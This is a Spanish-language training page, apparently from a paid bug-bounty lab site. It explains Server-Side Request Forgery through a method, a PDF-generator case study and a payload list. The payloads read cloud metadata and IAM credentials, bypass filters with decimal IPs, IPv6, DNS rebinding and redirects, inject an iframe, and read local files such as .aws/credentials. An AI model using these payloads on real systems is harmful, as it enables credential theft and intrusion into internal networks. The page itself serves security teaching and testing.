Nuevos labs cada semana — Accede a todos desde 5€/mes

Server-Side Request Forgery (SSRF)

Hacer que el servidor realice requests a destinos internos

Respuesta rápida

¿Qué es Server-Side Request Forgery?

El SSRF permite forzar al servidor backend a realizar peticiones HTTP a destinos arbitrarios: servicios internos, metadatos cloud, redes privadas. Es especialmente crítico en entornos cloud por el acceso a credenciales IAM.

Severidad

Crítico

Frecuencia

Común

Payloads

11

Pasos

6

Severidad

Crítico

Frecuencia

Común

Payloads

11

El SSRF explota cualquier funcionalidad donde el servidor hace requests basados en input del usuario. El impacto va desde lectura de archivos internos hasta RCE completo si se accede a credenciales cloud o se encadenan con otras vulns.

Acceso a servicios internosLectura de metadatos cloud (AWS/GCP)Credenciales IAMEscaneo de red internaLFI (file://)RCE vía cadenas de ataque

Dónde buscar

Import de URLs

Funcionalidades de 'importar desde URL', 'preview de link', 'fetch imagen remota'.

Webhooks

Configuración de webhooks donde el usuario controla la URL de destino.

PDF generation

Generadores de PDF desde HTML (wkhtmltopdf, Puppeteer). El motor renderiza HTML y hace fetch de recursos.

Avatares/thumbnails

Upload de imagen vía URL en vez de archivo. El servidor descarga la imagen.

APIs de integración

Cualquier endpoint donde se envía una URL que el servidor procesa internamente.

Metodología

1

Identificar parámetros de URL

Busca parámetros: url=, src=, href=, webhook=, callback=, redirect=, link=, feed=

2

Probar localhost

Envía http://127.0.0.1, http://localhost, http://[::1] — verifica si la respuesta cambia.

3

Probar metadatos cloud

http://169.254.169.254/latest/meta-data/ (AWS), http://metadata.google.internal/ (GCP)

4

Confirmar con servidor externo

Usa Burp Collaborator o webhook.site. Si recibes el request → SSRF confirmado.

5

Probar bypasses de filtro

IP decimal, IPv6, DNS rebinding, redirect chains, URL encoding.

6

Escalar

De SSRF a: lectura de credenciales IAM, escaneo de puertos internos, acceso a bases de datos internas.

Caso real

SSRF vía generación de PDF → LFI → Credenciales AWS

$2,000+
1

Encontrar funcionalidad de PDF

La app genera facturas/recibos en PDF. El contenido viene del HTML renderizado en el servidor.

2

Inyectar HTML

En un campo que aparece en la factura, inyectar: <iframe src='http://169.254.169.254/latest/meta-data/'>

3

HTML entities decoded

El campo se escapa en el frontend (&lt;), pero el generador de PDF decodifica las entities al renderizar.

4

Lectura de metadatos

El PDF generado contiene los metadatos de AWS: IAM role, security credentials, token temporal.

5

Escalada

Con las credenciales IAM temporales, acceso a S3, RDS, o cualquier servicio configurado.

Lección: Los generadores de PDF son browsers internos. Cualquier HTML que procesen puede hacer requests internos. Siempre prueba SSRF en funcionalidades de export/PDF.

Payloads

Localhost

http://127.0.0.1  |  http://localhost  |  http://[::1]

AWS Metadata

http://169.254.169.254/latest/meta-data/

AWS IAM Credentials

http://169.254.169.254/latest/meta-data/iam/security-credentials/

GCP Metadata

http://metadata.google.internal/computeMetadata/v1/?recursive=true

DigitalOcean Metadata

http://169.254.169.254/metadata/v1/

Payloads avanzados(requiere cuenta)

IP decimal bypass

http://2130706433  (= 127.0.0.1 en decimal)

IPv6 bypass

http://[0:0:0:0:0:0:0:1]  |  http://[::ffff:127.0.0.1]

DNS rebinding

Servicio que alterna entre tu IP pública y 127.0.0.1 cada ~2 segundos

Redirect chain

Tu servidor responde 302 Location: http://169.254.169.254/latest/meta-data/

SSRF vía PDF iframe

<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="800" height="500">

File protocol

file:///etc/passwd  |  file:///proc/self/environ  |  file:///home/user/.aws/credentials

Contenido exclusivo

Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass

Crear cuenta gratis

Herramientas

Burp Collaborator

Servidor que detecta cualquier request entrante — confirma SSRF blind.

Burp → Collaborator → Copy to clipboard

webhook.site

Alternativa gratuita a Collaborator. Genera una URL única que registra todos los requests.

https://webhook.site/

SSRFmap

Automatiza la explotación de SSRF: lectura de archivos, escaneo de puertos, cloud metadata.

python3 ssrfmap.py -r request.txt -p url -m readfiles

Tips

PDF generation = SSRF

Cualquier app que genere PDFs desde HTML probablemente usa un motor que puede hacer requests internos.

Siempre prueba metadatos cloud

Si la app está en AWS/GCP/Azure, el endpoint de metadatos puede exponer credenciales IAM con acceso total.

Escanea puertos internos

Usa SSRF para mapear servicios: prueba puertos 22, 80, 443, 3306, 5432, 6379, 8080, 9200.

SVG bypasses validación

Si el servidor valida magic bytes de imagen, SVG pasa porque es texto. Usa SVG como contenedor de SSRF.

Practica Server-Side Request Forgery con labs reales

Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.